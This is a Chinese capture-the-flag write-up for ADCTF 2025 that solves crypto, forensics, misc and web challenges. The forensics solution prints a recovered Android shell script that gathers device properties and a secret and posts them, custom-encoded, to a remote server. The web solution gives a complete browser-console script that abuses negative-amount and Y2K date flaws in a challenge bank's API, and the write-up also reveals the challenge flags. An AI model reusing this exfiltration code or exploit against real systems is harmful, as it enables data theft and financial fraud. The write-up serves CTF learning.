ADCTF_2025 WP
此文章时效性不足,仅供参考
不包括部分已解出题目
本文所包含的题目内容不可商用,请注意!
CRYPTO
[Easy] 这家伙在说什么呢?
1、这串数字由数个五位二进制数组成,
00101 01011 00000 00110 00011 10100 01101 10010 00111 00000 01101 10010 00111 10100 01110 00011 00100 00011 10100 01000如果映射在十进制上,可以表示0~31;
2、考虑到题目难度,可以认为只是简单的字母表映射,将a-z映射在0-25(即00000-11001)可以得到flagdunshanshuodedui
3、恢复格式,即 flag{dunshanshuodedui}
FORENSICS
[Normal] 原神,启动!
1、使用wireshark打开pcap文件,得到指定时间内的网络流量;
2、过滤器输入http.accept,发现与http有关的流量;

3、选择 导出对象-http,发现大量相关文件,狠狠地全部导出来,里面有一些(*传奇)gif文件和无后缀文件;

4、利用010Editor分析,发现纯数字文件都是png(或jfif等)格式文件,里面是一堆[脏话编辑]图和应用图标;而%5c、c0nfi9ur@t1on(configuration?)、5cr1p7(script?)则含有一些有效信息(他们各自出现了多次,但不尽相同);
5、经过查询发现,5cr1p7似乎是一个Shell脚本,它从服务器下载配置,然后收集设备信息并发送到服务器;
#!/system/bin/sh
UPLOAD_URL="http://its-genshin-time.internal:8000/"CONFIG_URL="http://its-genshin-time.internal:8000/c0nfi9ur@t1on"CONFIG_PATH="/data/local/tmp/conf.dat"STANDARD_ALPHABET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
curl -s -L "$CONFIG_URL" -o "$CONFIG_PATH"
if [ ! -f "$CONFIG_PATH" ]; then sleep 60 continuefi
HEX_CONTENT=$(cat "$CONFIG_PATH")TMP_STRING=$(echo "$HEX_CONTENT" | xxd -r -p)DECODED_WITH_PREFIX=$(echo "$TMP_STRING" | tr '!-~' 'P-~!-O')CUSTOM_ALPHABET=$(echo "$DECODED_WITH_PREFIX" | cut -d' ' -f2-)
rm "$CONFIG_PATH"
PROPS_TO_COLLECT="ro.build.id ro.product.manufacturer ro.build.fingerprint ro.product.model ro.product.brand ro.product.name ro.product.device ro.product.board"JSON_PAYLOAD='{'
for prop in $PROPS_TO_COLLECT; do VALUE=$(getprop $prop) VALUE=$(echo "$VALUE" | sed 's/"/\\"/g') JSON_PAYLOAD="$JSON_PAYLOAD\"$prop\": \"$VALUE\","done
SECRET_INFO=$(getprop challenge.secret.info)TIMESTAMP=$(date +%s)
JSON_PAYLOAD="$JSON_PAYLOAD\"challenge.secret.info\": \"$SECRET_INFO\","JSON_PAYLOAD="$JSON_PAYLOAD\"ts\": $TIMESTAMP"JSON_PAYLOAD="$JSON_PAYLOAD}"
CUSTOM_B64_PAYLOAD=$(echo "$JSON_PAYLOAD" | base64 -w 0 | tr "$STANDARD_ALPHABET" "$CUSTOM_ALPHABET")curl -X POST -H 'Content-Type: text/plain' -d "$CUSTOM_B64_PAYLOAD" "$UPLOAD_URL"
rm /data/local/tmp/safe.sh%5c返回了一个经过编码的字符串
oUXUhUCL9BNIZsCDZsETEsXB5+PMGaELksXUhUC3jcin9B50kce/hRaczB509tXNjLETEsXGZBmpxGEIERXAkcXexBWnkcZDhc9NjRQUxBC0EVrgENXNZweDk8e/hca0k8e/hca0HVPUkez07l9XYLFC7l7T9t5NjLiUZBWNzt5NkBpNot7LksXUhUC3jcin9B50kceAZwaIEVrgEVEq7lPMYnI85n7LksXUhUC3jcin9B50kcXUzBCnEVrgENXNZweDEL3LjcFbj1XAZ1aV9sCbzBeNEVrgEce/hca0EL3LjcFbj1XAZ1aV9sCnZtZDz8YLHL6LhBfbZt2LksXUhUC3jcin9B50kcXAztXnEVrgEVEq7lPMYnI85n7LksXVxwfIhwabZ8Ybj8aVjca0kcNbZcFLHL6LZcW/ZMp52PjW5YIphBiPalfNkB5QhLeLmGeUxt5KBtNCotnp5Yi4znYp28fGZBZe7GetGwaHt8NH5a20lPnWlc94hfmiEL3L917LHL6W5qY85q2eH+7e42r=c0nfi9ur@t1on返回了一个十六进制字符串
2570717b7469206522445a2137486074294a3c6664777e613e763d2a3271454b2b49393b684063385e7b273f7d34234373467a78413370622826425f36677c35722524753a4779根据脚本信息,把c0nfi9ur@t1on转成ASCII后,使用tr '!-~' 'P-~!-O'进行转换,得到自定义字母表:
6Qs+Pfw1EXyk75HO2mGlYaBtzZxhj9o4g/LVnNcRrDuKIpbA3WUq0e8MdCTSFivJ6、对%5c解密,得到
{"ro.build.id": "V417IR","ro.product.manufacturer": "Redmi","ro.build.fingerprint": "Redmi/manet/manet:12/V417IR/913:user/release-keys","ro.product.model": "23117RK66C","ro.product.brand": "Redmi","ro.product.name": "manet","ro.product.device": "manet","ro.product.board": "23117RK66C","challenge.secret.info": "flag{M@G15K-moDU1e-cAn-bE-riskYyyyy-5O_bE-CaRefu1-WHeN_iN5T4LI1Ng_lT}","ts": 1756745835}直接提取flag
MISC
[Easy] BaseHajimi
米豆哈哦哦豆哈豆米豆哦北南南基绿豆南基北豆哈哦米绿绿基哈基豆南绿豆哈绿哦哦南南豆豆米绿哈哈哈哦南绿北哦哈基南南哦绿北哦米绿豆绿北豆哈哦北豆南豆北绿米绿米豆哈南南绿米绿米基豆基哈米米基哈米豆南豆米豆绿哦绿豆米北米基哈哈基豆绿米豆哈哦绿哦南哈米绿绿绿北基豆南基米豆绿北豆基哈豆豆基绿绿基南北南何意味?
1、直接猜测一手这道题基于三位八进制(据说是base8?)数字对ASCII的编码,常用字符串“哈基米哦南北绿豆”也证明了这一点;
2、直接映射0-7到“哈基米哦南北绿豆”似乎不太行,交给AI编写脚本进行映射穷举,
def decode_basehajimi(encoded_str, mapping): # 将每个字符转换为对应的数值 values = [] for char in encoded_str: if char in mapping: values.append(mapping[char]) else: raise ValueError(f"无效字符: {char}")
# 将数值转换为二进制字符串(每个值3位) binary_str = ''.join(bin(value)[2:].zfill(3) for value in values)
# 将二进制字符串按8位分组,转换为字节 bytes_list = [] for i in range(0, len(binary_str), 8): byte_str = binary_str[i:i+8] if len(byte_str) == 8: byte_val = int(byte_str, 2) bytes_list.append(byte_val)
# 将字节序列解码为字符串 decoded_bytes = bytes(bytes_list) try: decoded_str = decoded_bytes.decode('utf-8') except UnicodeDecodeError: decoded_str = decoded_bytes.decode('latin-1') return decoded_str
# 编码字符串encoded_str = "米豆哈哦哦豆哈豆米豆哦北南南基绿豆南基北豆哈哦米绿绿基哈基豆南绿豆哈绿哦哦南南豆豆米绿哈哈哈哦南绿北哦哈基南南哦绿北哦米绿豆绿北豆哈哦北豆南豆北绿米绿米豆哈南南绿米绿米基豆基哈米米基哈米豆南豆米豆绿哦绿豆米北米基哈哈基豆绿米豆哈哦绿哦南哈米绿绿绿北基豆南基米豆绿北豆基哈豆豆基绿绿基南北南"
# 尝试不同的映射方案mappings = [ # 方案1: 拼音首字母顺序 {'北': 0, '豆': 1, '哈': 2, '基': 3, '绿': 4, '米': 5, '南': 6, '哦': 7},
# 方案2: 反序拼音首字母 {'哦': 0, '南': 1, '米': 2, '绿': 3, '基': 4, '哈': 5, '豆': 6, '北': 7},
# 方案3: 按Unicode编码排序 {'北': 0, '南': 1, '哈': 2, '基': 3, '哦': 4, '绿': 5, '米': 6, '豆': 7},
# 方案4: BaseHajimi字面顺序 {'B': 0, 'a': 1, 's': 2, 'e': 3, 'H': 4, 'j': 5, 'i': 6, 'm': 7},
# 方案5: 按字符出现频率排序 {'豆': 0, '绿': 1, '南': 2, '米': 3, '基': 4, '哈': 5, '哦': 6, '北': 7},
# 方案6: 尝试flag相关映射 {'f': 0, 'l': 1, 'a': 2, 'g': 3, '{': 4, '}': 5, '0': 6, '1': 7},]
# 测试所有映射方案for i, mapping in enumerate(mappings, 1): try: if i <= 3: # 前3个方案使用中文字符映射 result = decode_basehajimi(encoded_str, mapping) else: # 后3个方案需要将中文字符映射到英文字符 char_map = {k: v for k, v in zip(['北', '豆', '哈', '基', '绿', '米', '南', '哦'], mapping.keys())} temp_str = ''.join(char_map[char] for char in encoded_str) result = decode_basehajimi(temp_str, mapping)
if 'flag' in result.lower(): print(f"方案 {i} 找到flag: {result}") break else: print(f"方案 {i}: {result[:50]}...") # 只显示前50个字符 except Exception as e: print(f"方案 {i} 错误: {e}")
# 如果以上方案都不行,尝试暴力破解所有可能的映射print("\n尝试所有可能的排列组合...")from itertools import permutations
chars = ['北', '豆', '哈', '基', '绿', '米', '南', '哦']for perm in permutations(range(8)): mapping = dict(zip(chars, perm)) try: result = decode_basehajimi(encoded_str, mapping) if 'flag{' in result: print(f"找到flag: {result}") print(f"使用的映射: {mapping}") break except: pass得到flag{B4s3H@j1mi-I5_An_4W3sOM3-M0DlFied_b@S3-cIpher!!!}
基于映射: ‘北’: 7, ‘豆’: 1, ‘哈’: 4, ‘基’: 0, ‘绿’: 2, ‘米’: 3, ‘南’: 5, ‘哦’: 6
WEB
[Normal] Y2K Bank
网站源码见https://github.com/GDUTMeow-Challenges/Challenge-Y2K-Bank
1、检查源代码,发现不允许在用户界面直接修改存款时间、输入负数存款等,还有交易额上限;
2、再次检查,发现源代码存在负存款漏洞(并且只在本地前端完成),并且可能存在千年虫漏洞;

3、利用AI构造脚本,先从饼干获取令牌,再进行余额检查,确保不会一直增加存款,最后利用千年虫漏洞,在2000年进行存款,成功得到了超过1145141919810的金金金金金钱钱钱钱钱【臭钱(恼)】
// Y2K银行ATM漏洞利用脚本// 在登录后的页面按F12打开控制台,粘贴并执行此代码
// 获取Cookie中的认证tokenfunction getCookie(name) { const nameEQ = name + "="; const ca = document.cookie.split(';'); for(let i = 0; i < ca.length; i++) { let c = ca[i]; while (c.charAt(0) === ' ') c = c.substring(1, c.length); if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length, c.length); } return null;}
// 主攻击函数async function exploit() { const token = getCookie('auth_token'); if (!token) { alert('请先登录!'); return; }
const targetAmount = 1145141919810; // 目标余额 const maxPerTx = 1000000000; // 单次交易限额 let currentBalance = 0;
// 1. 先检查当前余额 try { const response = await fetch('/api/balance', { headers: { 'Authorization': `Bearer ${token}` } }); const data = await response.json(); if (response.ok) { currentBalance = data.balance; console.log('💰 当前余额:', currentBalance.toLocaleString('zh-CN'), 'ADCoin');
// 如果余额已足够,直接领取 if (currentBalance >= targetAmount) { console.log('✅ 余额已达标,直接领取大奖'); await claimGift(); return; } } else { console.error('❌ 获取余额失败:', data); return; } } catch (error) { console.error('❌ 网络错误:', error); return; }
// 2. 计算需要存款的次数 const needed = targetAmount - currentBalance; const times = Math.ceil(needed / maxPerTx); console.log(`🔄 需要存款 ${times} 次,目标余额: ${targetAmount.toLocaleString('zh-CN')} ADCoin`);
// 3. 准备多个可能的Y2K漏洞日期 const y2kDates = [ '1900-01-01', // 最可能有效的日期 '2000-12-31', // 千禧年末 '1999-12-31', // 接近千禧年 '2001-01-01', // 千禧年后 '1970-01-01' // Unix纪元时间 ];
let successfulDate = null;
// 4. 先测试哪个日期有效 console.log('🔍 测试有效的Y2K日期...'); for (const date of y2kDates) { try { const testResponse = await fetch('/api/withdraw', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${token}` }, body: JSON.stringify({ amount: -100, // 小额测试 date: date }) });
if (testResponse.ok) { successfulDate = date; console.log(`✅ 找到有效日期: ${date}`); break; } } catch (error) { console.log(`❌ 日期 ${date} 测试失败`); } }
if (!successfulDate) { console.error('❌ 所有Y2K日期测试都失败,使用默认日期'); successfulDate = '1900-01-01'; }
// 5. 批量存款 console.log(`🚀 开始批量存款,使用日期: ${successfulDate}`);
for (let i = 0; i < times; i++) { try { const response = await fetch('/api/withdraw', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${token}` }, body: JSON.stringify({ amount: -maxPerTx, date: successfulDate }) });
const data = await response.json();
if (response.ok) { const progress = Math.round(((i + 1) / times) * 100); console.log(`📊 ${i+1}/${times} (${progress}%) | 新余额: ${data.new_balance.toLocaleString('zh-CN')} ADCoin`);
// 实时更新余额 currentBalance = data.new_balance;
// 如果提前达标就停止 if (currentBalance >= targetAmount) { console.log('🎉 余额已提前达标!'); break; } } else { console.error(`❌ 第 ${i+1} 次存款失败:`, data);
// 如果失败,尝试其他日期 const nextDate = y2kDates.find(date => date !== successfulDate); if (nextDate) { console.log(`🔄 尝试更换日期为: ${nextDate}`); successfulDate = nextDate; } } } catch (error) { console.error(`❌ 第 ${i+1} 次存款网络错误:`, error); }
// 延迟避免请求过快 await new Promise(resolve => setTimeout(resolve, 50)); }
// 6. 最终确认并领取大奖 console.log('🎁 准备领取大奖...'); await claimGift();}
// 领取大奖函数async function claimGift() { const token = getCookie('auth_token'); if (!token) { alert('请先登录!'); return; }
try { const response = await fetch('/api/gift', { headers: { 'Authorization': `Bearer ${token}` } }); const data = await response.json(); if (response.ok) { alert(`🎉 恭喜!获得终极大礼!\n\n消息: ${data.message || data.gift}\n\n🚩 FLAG: ${data.flag}`); console.log('🚩 FLAG:', data.flag); } else { alert('❌ 领取失败: ' + (data.detail || '未知错误')); } } catch (error) { console.error('❌ 网络错误:', error); alert('❌ 网络错误,请重试'); }}
// 执行攻击exploit();4、领取终极大奖flag{75c7aa30-36a3-4942-a56b-9ec0f8af3eb4}